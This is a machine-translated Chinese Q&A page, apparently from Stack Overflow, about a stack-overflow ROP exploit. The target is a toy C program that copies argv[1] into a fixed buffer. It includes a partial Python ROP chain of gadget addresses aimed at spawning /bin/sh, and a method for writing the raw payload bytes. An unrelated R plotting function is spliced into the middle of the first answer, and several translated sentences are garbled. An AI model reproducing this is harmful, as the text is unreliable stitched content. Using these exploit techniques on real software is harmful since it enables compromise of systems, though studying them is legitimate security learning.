我试图用C生成的输入填充C中的简单缓冲区。这是ROP项目的惯例。这是简单的C代码:
#include <string.h>
int main(int argc, char **argv)
{
char buf[128];
strcpy(buf, argv[1]);
}
编译为:gcc -m32 -ggdb -fno-stack-protector -mpreferred-stack-boundary=2 test.c -o test
我的硬件:x86-64,Linux Mint。
这是python输入的一部分:
from struct import pack
p = '//bin/sh' #address 0xffffd15c
p += 'A'*28
#null terminate our string
p += pack("<I", 0x0806e67a) # pop edx ; ret
p += pack("<I", 0xffffd163) # @ "/bin/sh" + 7
p += pack("<I", 0x080bac56) # pop eax ; ret
p += pack("<I", 0xffffffff) # 0xffffffff, or could xor the instruction
p += pack("<I", 0x0807b0cf) # inc eax ; ret
p += pack("<I", 0x08099fad) # mov dword ptr [edx], eax ; ret
出于某种原因,当我将其输入为argv[1]
时,缓冲区会正确填充,直到最后一行。它不是用0x08099fad
填充缓冲区,而是0x00009fad
。还有更多的输入来跟随这一行,但这就是搞砸了,导致其余的输入是垃圾(不是我输入的)。
由于某种原因,似乎将一个空字节放入strcpy,可能会过早地终止它。但我不知道空字节在哪里。当我尝试输入此地址时也会发生同样的情况,以及稍后:0x080acedc
。
有什么想法?
谢谢!
答案 0 :(得分:0)
我假设您将该字符串作为C实用程序的命令行参数提供。 (顺便说一下,test
对于实用程序来说不是一个好名字,因为它是一个标准的shell函数,通常作为内置函数实现。)
现在假设您要从终端调用您的实用程序:
./test some thing
显然argv[1]
将包含一个四个字符的单词,另一个单词放在argv[2]
中。如果你想让单个参数成为命令行的其余部分,你需要引用它:
./test "some thing"
现在,通常当我们从程序中调用实用程序时,我们实际上并不希望shell对这些参数进行解释。我们想使用exec
数组和实际参数字符串argv
进程shell=True
。这样,我们就不必担心空白和外壳元字符,并试图正确引用任意字符串。“
但是为了masochists的好处,python提供了指定library(grid)
library(gridExtra)
floorGrob <- function(S = c(TRUE, FALSE), J = c(TRUE, FALSE, TRUE, TRUE),
draw=TRUE, newpage=is.null(vp), vp=NULL){
m <- rbind(c(1,3,4), # S1 J1 J2
c(7,7,7), # hall
c(2,5,6)) # S2 J3 J4
fills <- c(c("#FBB4AE","#CCEBC5")[c(S, J)+1], "grey90")
cellGrob <- function(f) rectGrob(gp=gpar(fill=f, col="white", lwd=2))
grobs <- mapply(cellGrob, f=fills, SIMPLIFY = FALSE)
g <- arrangeGrob(grobs = grobs, layout_matrix = m, vp = vp, as.table = FALSE,
heights = unit(c(4/14, 1/14, 4/14), "null"),
widths = unit(c(6/14, 4/14, 4/14), "null"), respect=TRUE)
if(draw) {
if(newpage) grid.newpage()
grid.draw(g)
}
invisible(g)
}
floorGrob()
的可能性。即使手册明确警告不要使用此选项,即使人们经常使用它,但它仍然是一个奇怪的流行选择。
顺便说一句,你生成的程序中没有空格(虽然它们可能是)。空间是0x20。但是shell将其他字节解释为空格。例如,tab是0x09。我将它留作练习来弄清楚0x0A的后果是什么。
答案 1 :(得分:0)
正是因此,搜索此答案的人才能获得实际帮助。
我今天遇到了同样的问题。 我发现的是,python本身逃脱了这些角色。 如果你用C编写相同的程序,它将起作用。 如果您打印这样的var:
jmpto = "\xbf\x84\x04\x08"
print(jmpto)
将输出保存到文件中并使用十六进制编辑器查看它,您将看到它实际打印出来:
"C3 BB C2 84 04 08"
当我改为尝试相同的时候:
jmpto = "\x41\x42\x43\x44"
print(jmpto)
在十六进制编辑器中查看它:
"41 42 43 44"
遗憾的是,我不知道如何使用python正确打印这些字符的解决方案。 最简单的解决方案似乎是用C语言编写。
P.S:@ weather-vane,羞辱某人有兴趣了解它如何在引擎盖下工作的重点是什么? 默默无闻的安全(也就是没有告诉所以没有人发现)并不起作用。 有人会打破它。 更好地展示感兴趣的白帽子如何做,他们可能会尝试解决这些问题。编辑: 感谢Frauenhofer FKIE的某个人,我找到了解决方案。 使用 sys.stdout.buffer.write(ex_str) 其中 ex_str 需要是字节类型。 首先将字符串创建为bytearray,而不是将其转换为字节类型:
import sys
#convert this Hex Address or Hex ASM Code to int: fb 84 04 08
jmpto = [251, 132, 4, 8]
ex_str = bytes(bytearray(b"A"*(132 + 4)) + bytearray(jmpto))
sys.stdout.buffer.write(ex_str)
您还可以使用subprocess.call()或subprocess.run()来启动可执行文件并将其传递给字节Object。
希望有人发现这有用。